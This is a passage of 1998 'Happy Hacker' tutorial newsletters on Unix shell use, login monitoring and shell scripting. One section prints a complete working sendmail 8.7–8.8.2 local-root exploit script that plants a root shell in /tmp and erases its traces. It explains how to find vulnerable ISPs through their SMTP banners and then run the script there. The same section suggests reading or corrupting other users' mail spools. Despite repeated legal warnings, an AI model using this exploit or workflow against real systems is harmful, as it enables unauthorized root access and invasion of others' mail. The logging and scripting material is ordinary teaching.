21 00:24 - 00:25 (00:00) skullz ttyp1 152.166.74.235 Mon Apr 20 23:55 - 23:59 (00:04) skullz ttyp1 152.166.74.235 Mon Apr 20 23:48 - 23:53 (00:05) cryptik ttyp0 152.171.255.221 Mon Apr 20 23:24 - 01:33 (02:08) cryptik ttyp0 152.167.139.204 Mon Apr 20 23:16 - 23:16 (00:00) cmeinel ttyp1 152.170.227.210 Mon Apr 20 22:17 - 22:19 (00:02) (snip) Aha! Now you know the handles of the folks that have been using ftp or logging into shell accounts from outside the ISP (Rt66) hosting this computer lately. That root login with no IP address after it, was done from the console. That means someone was actually physically at the keyboard to log in. The numbers after the other handles are the IP addresses from which they came in. For example, "cmeinel ttyp1 152.170.227.210" means I came in from an America Online dialup! (To see what those IP numbers mean, read the GTMHH "How to Map the Internet" for lots of ways to figure them out.) Fortunately, I remember telneting into my account from an AOL dialup that time, so it's cool. Now if I were to see my user name on this list at a time that I know I didn't log in, I would know someone has gotten my password and is making merry with my account! That IP number would also tell me where Mr. Baddie is coming from (unless he or she is IP spoofing.) ======================================================================= Newbie note: IP spoofing is a way to fake your IP address. Many computer criminals use it to hide their identity. If one of these criminal types try to tell you this technique really works, please think twice. There are commercially available sniffer programs that identify the true IP address even though the hacker is using an IP spoofing program. See http://www.iss.net and http://www.engarde.com. ======================================================================= So -- what's this? The log file says cmeinel telneted in from bofh.fubar.com! I [Carolyn] know that computer. "BOFH" stands for the owner's handle, Bastard Operator from Hell. Actually I was expecting that. He promised me a prank program or two in exchange for use of my account. Since this is an account on a Hacker Wargame computer, I said "what the heck." Besides, I would trust anyone with such a neato handle. But, oh, my, look at this! cmeinel ttyp0 152.172.76.111 Thu Apr 23 14:25 - 16:30 (02:05) Who is this cmeinel who logged into my account from America Online for over two hours? Wasn't me! Maybe this individual will soon be able to use access to my shell account to get root and be the next Hacker Wargame winner! Nah, I'll make it hard and change my password. The command is simply "passwd." That's what you should do often anyhow, and definitely do whenever you discover an intruder was in your account. You probably would like to know exactly how that "check" command works. BOFH points out that the "last" command (give command "man 1 last" to learn more) shows the last logins that are usually stored in the wtmp file. Some ISP's rotate this file while others just leave it be. The "last" command used by itself would show all logins to the current machine since the creation of the wtmp file. The command "grep" is a powerful line/pattern matching utility. (Give command "man 1 grep" for more info). The '-v' switch tells grep to filter out the following regular expression ("regular expressions" could use a series of GTMHHs to explain the concept itself). In the above example, we are filtering out "fubar.com", "ftp", and anything starting with 'U'. (The "^" signifies "starting with"). In this case, the "grep -v ^U" portion is used to grep out (discard) uucp (a communications protocol used for transmitting Usenet posts) entries since Fubar.com uucp accounts begin with "^U". Your Internet service provider, however, may identify Usenet posts differently. Commands that may work better on your account than those used in the "check" alias above may be: last -200 | grep _your_user_name_here | more - This shows the last 200 logins by your username, and pipes it to the "more" command. This makes it easier to read if your terminal program doesn't allow you to scroll back. last -200 | grep -v _your_user_name_here | more - This shows the last 200 logins of everyone except your username, piping it to the "more" command. What are some other things you may add to your .cshrc script to make your account more secure? Do you have friends or enemies that you wish to watch for when you are logged on? Add this command to .cshrc: set watch=(1 myfriend1 any myfriend2 any myenemy1 any myenemy2 any) Substitute the user names of your friends/enemies for myfriend etc. If you use a small ISP, a newbie may wish to change the watch entry to: set watch=(1 any any) That will watch for logins every 1 second for any username. On a slow system where resources are limited, change "1" to "5". If you are like me [Carolyn] and have lots of people trying to break into your account, you can also set up a warning system. 1) Use pico to create a file named ".junk" containing the sentence "Someone used my shell account." 2) Bring up .cshrc in an editor and add this line: "/usr/lib/sendmail x@techbroker.com < .junk" (for "x@techbroker.com" substitute an email address of yours that is NOT the one for your shell account. If you are a hacker you surely do have more than one email account, right?) WARNING: This command varies according to the configuration of your ISP. You might have to substitute a different path for "sendmail" (use command "whereis sendmail" to find it), or substitute mail for sendmail, etc. etc. If you can't make this command work, DON'T EMAIL US! Only tech support at your ISP can answer your questions. 3) Save the new .cshrc file. Why send this warning to a different email account? An intruder can simply delete your warning email if it goes back to your shell account. You can get free email accounts at Hotmail, Yahoo, and several other places on the Web. Or get one of those email accounts that notifies you by pager the instant your warning email arrives. Of course, that can be a real pain having your beeper go off every time you log into your own account! But we are showing you this trick to give you an idea of how systems administrators can find out instantly when an intruder gets in. Here's what that shell script sends me whenever someone uses tcsh in my account: Received: from Rt66.com (198.59.162.1) by mail02.rapidsite.net (8.8.5/8.8.5) with ESMTP id NAA24145 for Thu, 23 Apr 1998 13:08:38 -0400 (EDT) Received: (from cpm@localhost) by Rt66.com (8.8.7/8.8.6) id LAA23890 for x@techbroker.com; Thu, 23 Apr 1998 11:05:51 -0600 (MDT) Date: Thu, 23 Apr 1998 11:05:51 -0600 (MDT) From: cpm Message-Id: <199804231705.LAA23890@Rt66.com> X-Loop-Detect: 1 Someone used my shell account. HOW TO MAKE YOUR SHELL MORE PHUN Next, I wage a little psychological warfare. OK, I admit it, this part is lame, but fun. So hold your flames. 1) Open .cshrc with your favorite editor. 2) Insert something like this: echo ------------------------------------------- echo To err is human... echo To get caught is just plain stupid... echo Fatal Error echo -----------Big brother is watching---------- (This Guide continued in Part 2...) _______________________________________________________________________ Where are those back issues of GTMHHs and Happy Hacker Digests? Check out the official Happy Hacker Web page at http://www.happyhacker.org. We are against computer crime. We support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. So don't email us about any crimes you have committed! To subscribe to Happy Hacker and receive the Guides to (mostly) Harmless Hacking, please email hacker@techbroker.com with message "subscribe happy-hacker" in the body of your message. Copyright 1998 Carolyn P. Meinel and BOFH. You may forward, print out or post this GUIDE TO (mostly) HARMLESS HACKING on your Web site as long as you leave this notice at the end. _________________________________________________________ Carolyn Meinel M/B Research -- The Technology Brokers http://techbroker.com _________________________________________________________ Guide to (mostly) Harmless Hacking Vol. 5 Programmers' Series No. 2: Shell Programming: an Exploit Explained, part 2 _________________________________________________________ by Carolyn Meinel and BOFH (finger us for important security tips!) HOW TO DISCOVER ALL AVAILABLE UNIX COMMANDS Now that you have a login file that isn't lame, let's start exploring the commands you can run from your tcsh shell account. Since you are reading this because you wish to be a hacker, let's start by looking for a compiler for the C language, the most important language for exploits to break into computers. The best guess for a command to run the C compiler is the letter "C" (duh.) So at your prompt give the command: c where you first type the letter "c", then hold down the "control" key while hitting the letter "d". (Note: this will also work with the C shell (csh) but not with any other shells.) This gives us a complete list of all the commands you can use that start with the letter "c". It will look something like this: c++ chroot compress.FCS c2ph chrtbl config cal chsh config.txt calctool ci constype calendar clear continue cancel clear_colormap convert_to_Xdefaults capitalize clear_functions convert_to_xview case click convertfont cat clock core cb cm cpio cc cm_delete cppstdin (many more commands beginning with the letter c snipped) That "cc" command looks promising. It is possible that on your system the C compiler will have a different name, most commonly "gcc" (the gnu compiler). So don't give up if you don't see "cc". To be sure this is the C compiler, next you give the command "man cc". This brings up an online manual on the C compiler: CC(1V) USER COMMANDS CC(1V) NAME cc - C compiler SYNOPSIS cc [ -a ] [ -align _block ] [ -Bbinding ] [ -c ] [ -C ] [ -dalign ] [ -dryrun ] [ -Dname [=def ] ] [ -E ] [ float_option ] [ -fsingle ] [ -g ] [ -go ] [ -help ] [ -Ipathname ] [ -J ] [ -Ldirectory ] [ -M ] [ -misalign ] [ -o outputfile ] [ -O[level] ] [ -p ] [ -P ] [ -pg ] [ -pic ] [ -PIC ] [ -pipe ] [ -Qoption prog opt ] [ -Qpath pathname ] [ -Qproduce sourcetype ] [ -R ] [ -S ] [ -sb ] [ -target target_arch ] [ -temp=directory ] [ -time ] [ -Uname ] [ -w ] sourcefile ... [ -llibrary ] SYSTEM V SYNOPSIS /usr/5bin/cc arguments /usr/xpg2bin/cc arguments Note: arguments to /usr/5bin/cc and /usr/xpg2bin/cc are identical to those listed above. (snip) DESCRIPTION cc is the C compiler. It translates programs written in the C programming language into executable load modules, or into relocatable binary programs for subsequent loading with the ld(1) link editor. In addition to the many options, cc accepts several types of filename arguments. For instance, files with names ending in .c are taken to be C source programs. They are compiled, and each resulting object program is placed in the current directory. The object file is named after its source file - the suffix .o replacing .c in the name of the object. In the same way, files whose names end with .s are taken to be assembly source programs. They are assembled, and produce .o files. Filenames ending in .il are taken to be inline expansion code template files; these are used to expand enabled. See FILES, below for a complete list of compiler-related filename suffixes. Other arguments refer to assembler or loader options, object programs, or object libraries. Unless -c, -S, -E -P or -Q produce is specified, these programs and libraries, together with the results of any specified compilations or assemblies, are loaded (in the order given) to produce an output file named a.out. You can specify a name for the executable by using the -o option. "Oh, no!" you shout/cry/whimper. "This stuff looks like it was written by a gnome in some underground weapons complex in a James Bond movie!" Patience, one of these days I'll get around to writing a simple explanation of how to link, compile and run C programs. If you don't have patience, a good book that covers C and includes a CD-ROM with programming tools is "Unix Programming Tools," by Eric Foster-Johnson, M&T Books, 1997. Or, if you are a real hacker, you will start trying out that C compiler today! Guess what, if you make mistakes in trying to follow the on-line manual, big deal. No one will make fun of you. You can't destroy your computer with a C compiler mistake, either. (OK, maybe you could mess something up, but what the heck.) Real hackers aren't afraid to make mistakes and don't make fun of others who make mistakes, either. The essence of hacking is to boldly try out new things and not be afraid of hitting the wrong key. Besides, I make lots and LOTS of mistakes and I [Carolyn] am a famous, er, infamous hacker. If an old lady like me isn't afraid to make public boo-boos, you can be brave and figure out that C compiler by yourself. To learn about every single command that you have the power to run from your shell account, type in the letter "a" followed by control d. Then with each and every command that brings up, give the command "man acommand" where you substitute the command you wish to explore for "acommand". Then try using that command until you have figured out how to use it with all its variations. Do this in turn with each of the rest of the letters of the alphabet. When you are done, you will be a true Unix wizard. No one will ever again say to you, "RTFM!" (Read the forking manual). AN EXPLOIT EXPLAINED Here's a fun, simple, powerful shell script. This is a goodie that you might be able to use from your shell account to create a root shell for yourself on the computer where you have your shell. ========================================================== Newbie note: A "root shell" allows you to do anything you wish to the computer you are on. ========================================================== ========================================================== You can go to jail warning: In the US and many other countries, it is illegal even to just get a root shell on someone else's computer -- unless that person agrees to let you get root. =========================================================== If you are determined to test this shell script, there are ways to do this legally. Number one, install some form of Unix on your home computer. The easiest to install is Red Hat Linux, available at http://www.redhat.com. The easiest to get exploits to run on is Debian Linux, at http://www.debian.org. For other Linux sources, see the GTMHH "Linux!" at http://www.happyhacker.org. Make sure your Linux is running an outdated sendmail program, versions 8.7 through 8.8.2. Next set up user accounts on your home Linux box. The command is "adduser." Then run this exploit from your user account on your home computer. If you have the right version of sendmail, you will be amazed at how easy it is to break in. The other way to legally run this exploit is to get permission to break into someone else's computer. Soon our Hacker Wargame will offer accounts on a newbie computer that will allow this exploit. Don't assume you can get away with running this script against a stranger's computer. There is no way to be absolutely certain you won't get caught. Besides, if you have to read this to learn how to break into a computer, you don't know enough to have even a hope of getting away with the crime. Once you try this exploit you will know how ridiculously easy it is to break into computers. If someone gets busted for breaking into a computer using this shell script, yeah, sure, the media will make out like the person who ran it is a genius. But you are about to learn that a little kid could break into a computer that runs a vulnerable version of sendmail. It's that easy. So anyone who is in the know realizes that it doesn't take brains to break into a computer. They will simply agree with Fatal Error that "To err is human; to get caught is just plain stupid." Here is how to break into a computer that runs sendmail 8.7 through 8.8.2 on the Linux and FreeBSD operating systems. 1) Look for an Internet service provider running a vulnerable version of sendmail. To do this, get the domain names of some ISPs from http://www.celestin.com/pocia. Another way to get ISP names is from people's email addresses. Then try telnetting into their smtp (mail server) ports. Use the command: telnet fubar.com smtp Trying 208.999.37.180... Connected to fubar.com (208.999.37.180). Escape character is '^]'. 220 lobo.net ESMTP Now there is a smart ISP. They don't tell strangers what mail server program they run. But pretty soon you will hit an ISP that is vulnerable. You will get a message like this: telnet foominds.com smtp Trying 209.999.14.99... Connected to foominds.com (209.999.14.99). Escape character is '^]'. 220 zuni Sendmail SMI-8.7/SMI-SVR4 ready at Sun, 3 May 1998 14:43:07 -0700 OK, we have a vulnerable version of sendmail. But does it also have a vulnerable operating system? You can find that out by telneting into the login: telnet foominds.com Trying 209.999.14.99... Connected to foominds.com (209.999.14.99). Escape character is '^]'. UNIX(r) System V Release 4.0 (zuni) login: We struck out here -- maybe. This exploit is guaranteed to work for Linux and FreeBSD running vulnerable versions of sendmail. It may or may not work on this ISP. Let's say you find an ISP where this exploit is certain to work. Your next step is to buy an account on this ISP. =========================================================== You can go to jail warning: The way I am showing you to break into a computer is GUARANTEED to get you caught. Don't do this unless you have first gotten permission to try it out from the owner of your ISP. If you discover your ISP is vulnerable, your best bet is not to break in. Instead, politely tell tech support they are vulnerable, and offer to show them how to break in. They might say "Yes, please show us how it's done"! Then it will be OK to run this script. =========================================================== Now comes the fun part. Give the command "pico s.sh" (or substitute your favorite editor for "pico". That brings up an editor program. Next, put in the following shell commands: # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd echo "Now type: /tmp/sh" Now save it as s.sh. The "sh" at the end of the name tells you it is a shell script. After saving it, be sure to make it executable by giving the command "chmod 700 s.sh". That means only you (or someone in your shell account) can run this program. If you want anyone to be able to run it, give the command "chmod 777". What does this cute little shell script do? It writes C programming language commands into two files, "leshka.c" and "smtpd.c", puts them in the right directories on your computer, compiles them, makes them executable, runs them, then erases them, then prompts the user to enter his or her brand new Unix shell, "/tmp/sh", inside of which the user will discover he or she is root (the superuser with control over the entire victim computer). Let's take this program apart so we understand how it does its thing. 1) It writes two c programs. For example, the file leshka.c is written with the shell commands: echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c 2) Next the script compiles both c programs: cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c Note that you must know the command to run the C compiler on that computer. If the C compiler command is "gcc", then substitute "gcc" for "cc" in this line of the shell script. You also must know the path to sendmail. Check it with the command "whereis sendmail". If it has a different path than "/usr/sbin/sendmail," you must substitute the correct path. 3) Next this shell script runs shell commands to run the exploit: kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` 4) It takes an instant to erase the evidence: rm leshka.c leshka smtpd.c /tmp/smtpd 5) Then it sends a message to the screen: echo "Now type: /tmp/sh" That reminds you to give the command /tmp/sh to get into your own private root shell. You have to do this quickly because this exploit only lets you get into a root shell for a short time. ========================================================== You can get punched in the nose warning: When you are root it is really easy to mess things up. Even if you have permission to be root, be careful! If a friend gave you permission to break into his computer, just think how he will feel if he has to reinstall his operating system because you hit a wrong key or two! This is a good reason not to break into a stranger's computer. You may think you are quietly, harmlessly sneaking around, when, boom, you accidentally trash things. =========================================================== HOW TO EXPLORE A COMPUTER FROM INSIDE A SHELL ACCOUNT What else can we do that is fun? You can do a thorough exploration of everything that you are allowed to access from your account with just four commands: "pwd", "cd", "ls" and "cat". Sound too good to be true? I'll prove to you it's really this easy, now! Special bonus: if you just got root with that shell script above, you now can totally explore your victim computer! HOW TO READ EMAIL DIRECTLY FROM THE MAIL SPOOL How about a nerdy Unix way to read your incoming email? (If you are root you can read everyone's email this way. In the US, your ISP has the legal right to read your email -- another reason to be friends, and not enemies, of the tech support staff!) This is a real blast from the past, an example of what life was like before email, when us old folks used to have to send each other messages by simply transferring files. First, let's find out where we are right now. For that you use the "pwd" command. Your results may vary with this command, but if you give this command right after logging in you will see your user name as part of the current directory. Now it's time to start moving around. Let's try out these commands to get into the email directory. On most Unix systems you can do this with the command: ->cd /var/spool/mail If that doesn't work, try: ->cd /var/mail Now -- can you resist? Since you are in /var/spool/mail, with the command "ls" you can find out the user names of everyone who gets email here. If you really wish to snoop, give the command ls -alF (or on some systems "ls -alK") and you can even find out if anyone has world-readable email. ========================================================== Newbie note: How do you figure out if someone's email is world readable? "ls -alF /var/spool/mail/myusername" (substituting your user name for "myusername") will give something that looks like this: -rw------- 1 cpm 31217 May 3 16:14 /var/spool/mail/cpm That's my mail. But if you see something like this: -rw----r-- 1 cpm 31217 May 3 16:14 /var/spool/mail/cpm That means anyone can read it. And if you see this: -rw----rw- 1 cpm 31217 May 3 16:14 /var/spool/mail/cpm That means anyone could alter my incoming email! =========================================================== Here's an obnoxious trick. If someone were to put the wrong stuff in someone's mail spool, it would disable their email reading programs so they couldn't get their email until it got fixed. For example, my email programs can be disabled by bringing the file /var/spool/mail/cpm up in an editor program, putting the words "This is a test" at the top of the file, and saving it. If your mail spool should get messed up someday so that your email program can't read it, you can straighten it out easily. Just give the command "pico /var/spool/mail/myusername" (or whatever the path turns out to be for your mail spool). Then use the editor to first read and save any email you want, then delete everything in that file! Leave it empty! That will get rid of whatever the messed up stuff was. If you can handle a problem like this by yourself, tech support will be thankful that you don't call them crying about every little thing. So let's suppose you use the "ls -alF" (or "ls -alK") command on the entire mail spool at your ISP. If you do find that someone's email can be read by anyone in the world, you need to make a decision. Do you want to make friends and increase the likelihood that you will be able to get a great job someday at your ISP? Then don't snoop! You can win points with tech support if you point out the problem politely. Make friends way: Email tech support with the message, "I was checking file permissions on my email and noticed that user name JoeBlow has world-readable mail." Make enemies and get kicked off your ISP way: Email the victim user with the message "You are owned!!! Muhahaha!!!" LIBRARY FUNCTIONS Next let's use this ability to explore to do some more preparatory work for your big day when you begin running C exploit programs. That exploit by Leshka is unusually easy because it is a simple shell script. Most exploit programs must be run as compiled C programs, and most of these, to save disk space, rely on calling lots of library functions. So you need to find what kinds of library programs are on your computer. If any of the functions called by your latest exploit program are missing, you need to find them and get them compiled where you can access them from your account. (If the tech support staff at your ISP is convinced you are a good guy, they might even let you store your library functions in a public part of the system. This keeps you from having to pay for extra file space in your account.) ========================================================== Newbie note: A "library function" is not a party held in a library. It is a program that performs a commonly used task. Most C programs that exploit security flaws to gain access to a computer include many library functions. You need to get all the library functions of an exploit available to you on your computer in order for it to work. Math obsessives and Fortran users please note that many C functions are not a "function" as you are used to it being defined. ========================================================== To see what library functions are on the computer you are using, first give the command: ls /usr/local/lib If you are lucky you will see something like this: aliaas.csh* libcom_err.a libmmalloc.a path.csh* alias.csh* libcrypto.a libopcodes.a perl/ bison.hairy libdb.a libpty.a perl5/ bison.simple libdes425.a libreadline.a pgp/ (snip) Anything with an asterisk after it is executable (you are using tcsh shell, aren't you?) If it ends with the extension ".a", that means it is a C library function. Where else might we find programs that can be included in programs you wish to run? Let's try: /usr/openwin/lib /usr/local/X11/lib /usr/X11/lib There are other places where you might find good programs that are more than just C library functions. Of course you will try "whereis games"! Here are some other examples of directories with programs and library functions you may be able to run: ->ls /usr/bin c++rt0.o libftpio_p.a libopie.a compat libg++.a libopie.so.2.0 crt0.o libg++.so.4.0 libopie_p.a gcrt0.o libg++_p.a libpcap.a kzhead.o libgcc.a libpcap.so.2.2 (snip) Anything with the extension "o" is an object module compiled from a C program. Also, try /usr/local/bin: Pnews* pager* Rnmail* patch* WebReport* patch-metamail* a2p* perl* (snip) You can go on and on like this hunting for interesting stuff. If you know the name of the program you are looking for, you can use the "whereis" (and in some shells, "find"). Otherwise, try searching directories for stuff you are allowed to run. The commands "cd .." and "cd /" are great for moving upward into unknown directory space, and "ls" for moving down. Whenever you wonder where you are, give the command "pwd". CONCLUSION Today's exercises will help you: * get familiar with the computer where you have a shell account * show you how easy programming can be * reveal that breaking into computers is something even a little kid could do To become a truly elite hacker, you need to be able to do far more than merely break into computers. In fact, the hacker gods (people like Eric Raymond, who is profiled in one of our Guides to (mostly) Harmless Hacking) laugh at people who say they are hackers just because they can break into computers. Remember, no one needs to understand Leshka's exploit to use it. After doing today's lessons, you are already more advanced than many of the "hackers" who break into computers. This is because you understand some basics of how Leshka's shell script works, and have even written your own login shell script. So now you are already ahead of the average guy who calls himself a "hacker." You don't believe me? At last year's Def Con V convention, a real hacker ran a poll of people who claimed to be hackers. Over half had never even heard of the "cat" command. You not only have heard of it -- you use it all the time now. Right? Happy hacking! _______________________________________________________________________ Where are those back issues of GTMHHs and Happy Hacker Digests? Check out the official Happy Hacker Web page at http://www.happyhacker.org. We are against computer crime. We support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. So don't email us about any crimes you have committed! To subscribe to Happy Hacker and receive the Guides to (mostly) Harmless Hacking, please email hacker@techbroker.com with message "subscribe happy-hacker" in the body of your message. Copyright 1998 Carolyn P. Meinel and BOFH. You may forward, print out or post this GUIDE TO (mostly) HARMLESS HACKING on your Web site as long as you leave this notice at the end. _________________________________________________________ Carolyn Meinel M/B Research -- The Technology Brokers http://techbroker.com _________________________________________________________ Guide to (mostly) Harmless Hacking Vol. 5 Programmers' Series No. 3: More on Advanced Unix Shell Programming _________________________________________________________ by Meino Christian Cramer **************************************************** In this Guide you will discover examples of powerful batch files **************************************************** Want to get rolling as a serious hacker? Try out these favorites from Meino Christian Cramer. He uses them often, if something goes wrong on his system, or if he wants to check some things... He uses Linux, kernel version 2.1.102 (hacker kernel), but the scripts are not that kernel relevant, so they should run on every newer Linux system with bash shell installed. You will find these especially useful if you decide to learn how to program in C -- that's in the next Programmer's Series GTMHH! If your favorite shell isn't the bash shell, and these scripts won't run on your shell, you have three choices: 1.) Install bash instead, learn to use it and forget your current shell (OK, it is a little bit drastically...) 2.) Install the bash shell and change the first line of all scripts from #!/bin/sh to #!/ 3.) Change the syntax of the scripts from bash syntax to the syntax of your favorite shell. This is not that hard, because most of the work of the scripts is done by utilities and tools, not by the scripts themselves. First example: --------------------------------------------------------------- (store this script as "llib") #!/bin/sh # # This script shows you, which shared libraries are # installed on your system and where to find them. # # usage: llib ################################################################# if [ -z $i ] then echo "usage: llib " exit fi echo "----------------------------------------------------------" ldconfig -p | grep -i $1 echo "----------------------------------------------------------" for i in $( ldconfig -p | grep -i $1 | gawk '{ print $4 }' ) do ls "$i"* done | sort -u echo "----------------------------------------------------------" This script is tested with ldconfig version 1.9.6., GNU grep version 2.2, GNU awk (gawk) version 3.03, sort version 1.14 and bash version 2.02.01. But it should run also with older version of the utilities, except of ldconfig, which may have no "-p" switch in older versions. What happens when the script is called? The if construct checks whether there is a argument given to the script. If it is missing, it prompts you a little help and terminates gracefully. If there is an argument, it takes it as the name or a part of the name of a library, which will be stored in $1. "ldconfig -p" reports ALL shared libraries, which are known by the system along with the paths, where they are stored. This output, if piped though grep, looks for all lines containing the given name of that library. The "-i" switches grep into "ignore case" mode. This is more convenient for all those X-related libraries, because they use also uppercase letters in their names... ************************************************* Newbie note: "X-related libraries are not dirty pictures. They are function libraries for X-windows, which does for Unix systems what Windows does for Unix. If you want point and click hacking, install a Unix type operating system on your home computer and get X-windows running. ************************************************* The output of grep (all lines containing the library name) are piped into gawk, which filters all but the fourth argument (the path to the library and the library name itself) out of the stream. Each line of the finally resulting output is taken -- line by line -- by a for-loop. For each looping $i contains one new line -- a path and the library name -- which is take by "ls". There is a little trick at this line. There is not only a ls "$i" There is also a ls "$i"* This is because they may be different versions of that library, which can be listed by using ls "$i"*. Finally the output of the loop is piped through "sort -u" which sorts the output alphabetically and removes all identically lines. Therefore each line is only reported once. The "-u" switch stands for "unique". Next one! ------------------------------------------------------------------ (store this script as "ldprint" #!/bin/sh # # prints all libraries used by a # certain program # ############################################ if [ -z $1 ] then echo "usage: ldprint " exit fi ldd $(which $1) This one is simple. It runs with the same versions of tools mentioned above. Additionally: ldd is of version 1.9.6.. The version of "which" is unknown to me, but this program is so "unspecial", that I think, all versions should work.... :-) What happens here? ldd reports all libraries, which are used by a certain program. But! if you type ldd emacs This will not work in most cases, cause emacs is not in the current directory. "ldd" will only work if the full path to the program (emacs) is specified. If you type which emacs It will print (for example) /usr/X11R6/bin/emacs Now! If you type ldd which emacs The shell cannot decide correctly what to call first: ldd, which, or emacs. It decides: First is the tool, all further things are arguments to ldd. Wrong!!! This is why we have to give the shell a hint, a tip. Are we friendly hackers? YES! OK, The $(which $1) replace "which $1" with the result of the run of which, removes the $( and the closing ) and THEN it will execute ldd. Now ldd "sees" the full path, the call of which left behind. But this is a more complicate thing. It is called "argument substitution" and you should read more about it in the man pages of your shell. Next? Next! ------------------------------------------- (store this script as "trace") #!/bin/sh # # store all calls into the OS in a file # and call an editor afterwards to examine # the calls ############################################### fname=$(basename $1) echo "----------------------------------------------------------------" echo "writing trace to /tmp/TRACE-$fname/#tracefile.$fname" echo "----------------------------------------------------------------" rm -fr "/tmp/TRACE-$fname" mkdir -p "/tmp/TRACE-$fname" strace -ff -v -x -a 40 -o /tmp/TRACE-$fname/$fname $* cd "/tmp/TRACE-$fname" for i in $(ls [^\#]* ) do echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" >> \ "/tmp/TRACE-$fname/#tracefile.$fname" echo "$i" >> "/tmp/TRACE-$fname/#tracefile.$fname" echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" >> \ "/tmp/TRACE-$fname/#tracefile.$fname" cat $i >> "/tmp/TRACE-$fname/#tracefile.$fname" gzip $i done if test $TERM="linux" then jed "/tmp/TRACE-$fname/#tracefile.$fname" else xjed "/tmp/TRACE-$fname/#tracefile.$fname" fi WARNING!!! This shell script only works if you are logged in as root. And sometimes it fails for some (unknown) reasons. I have used strace version 3.1 for this one. Jed or the X-window version XJed are editors. All other ASCII editors will also work. If your editor comes in a console and a X-windows version, you first has to check the environment variable "$TERM". Log in your box and start "X". Start a shell and type echo "$TERM" You will get something like "linux", "xterm" or so. please insert this in the if test $TERM="linux" Instead of the word "linux". But let's start right from the beginning! The first line calls a tool called "basename". This one strips off all directory stuff from a fully specified path. Example: Type: echo `basename /usr/local/bin/xterm` And it will print xterm Got it? OK, the result of basename is stored into a variable called fname (stands for "filename"). The echoes there print out some useful hints. Then a FORCED and RECURSIVE call of rm (remove) is done to remove a previous stored file of this script in /tmp/. ****************************************************************** YOU CAN KILL YOUR SYSTEM - WARNING! Be very careful here! This script only works if your are logged in as root. And as root, you have "the right" to delete ALL files of the system. If you mistype something, for example you accidentally wrote rm -rf / tmp/.......... instead of rm -rf /tmp/...... the call of the script will kill your system in microseconds. Better to insert a rm -ir /tmp/...... for testing the script. This will ask you for each file to delete, before it is gone. ******************************************************************* ******************************************************************* You can go to jail warning: This is a perfect example of why people don't like strangers getting root on their computers! You may think you are quietly sneaking around learning lots of stuff. Let's say you run this script because you would like to trace system calls and YOU BLOW IT BIG TIME. RM STAR CITY! The Feds want your head! Run this script on your own computer and be sure it is backed up first! ******************************************************************* Right after the rm a mkdir command creates a new directory in /tmp/ with the name TRACE- Now the most mystic call to strace. What does strace? Strace is a tool to trace all calls into the OS of a certain program. What can it be used for? Imagine: You have installed a new program, but calling this program only produces the output library not found, aborting That's it. Grmmphhh... And now? Strace! Strace will write down (or print) all calls into the OS of the newly installed program, so all OPEN commands will be traced, too (check "man open" !!!). If an open to a library, which is not or wrongly installed at your system will fail, you will see it in the trace file, which is written to /tmp/TRACE- Handy tool, isn't it? Just be sure not to kill your system, OK? Now back to the script. First look for the bunch of options given to strace in the man pages. If a program calls another program, this is called a subprocess. Strace not only traces the calls into the OS of the main program, it can be configured to trace also the subprocesses of this main program. Each trace of a subprocess is written into an extra file. All those files are written into the /tmp/TRACE- directory. Now the for-loop in the script collects all files and concatenates them into one big file. After all this an editor is called to display the trace. This happens, if the program to be traced has been finished. OK, folks, are you beginning to feel like Uberhackers? OK, maybe you have a few years of programming ahead of you to be an Uberhacker. But if you are managing to write and run hacking programs now, you are already heading for the big time. Congratulations! This Guide was written by Meino Christian Cramer with a few obnoxious but hopefully informative additions by Carolyn Meinel. If you have questions, please email Meino and not Meinel! _______________________________________________________________________ Where are those back issues of GTMHHs and Happy Hacker Digests? Check out the official Happy Hacker Web page at http://www.happyhacker.org. We are against computer crime. We support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. So don't email us about any crimes you have committed! To subscribe to Happy Hacker and receive the Guides to (mostly) Harmless Hacking, please email hacker@techbroker.com with message "subscribe happy-hacker" in the body of your message. Copyright 1998 Meino Christian Cramer and Nezah. You may forward, print out or post this GUIDE TO (mostly) HARMLESS HACKING on your Web site as long as you leave this notice at the end. _________________________________________________________ Carolyn Meinel M/B Research -- The Technology Brokers http://techbroker.com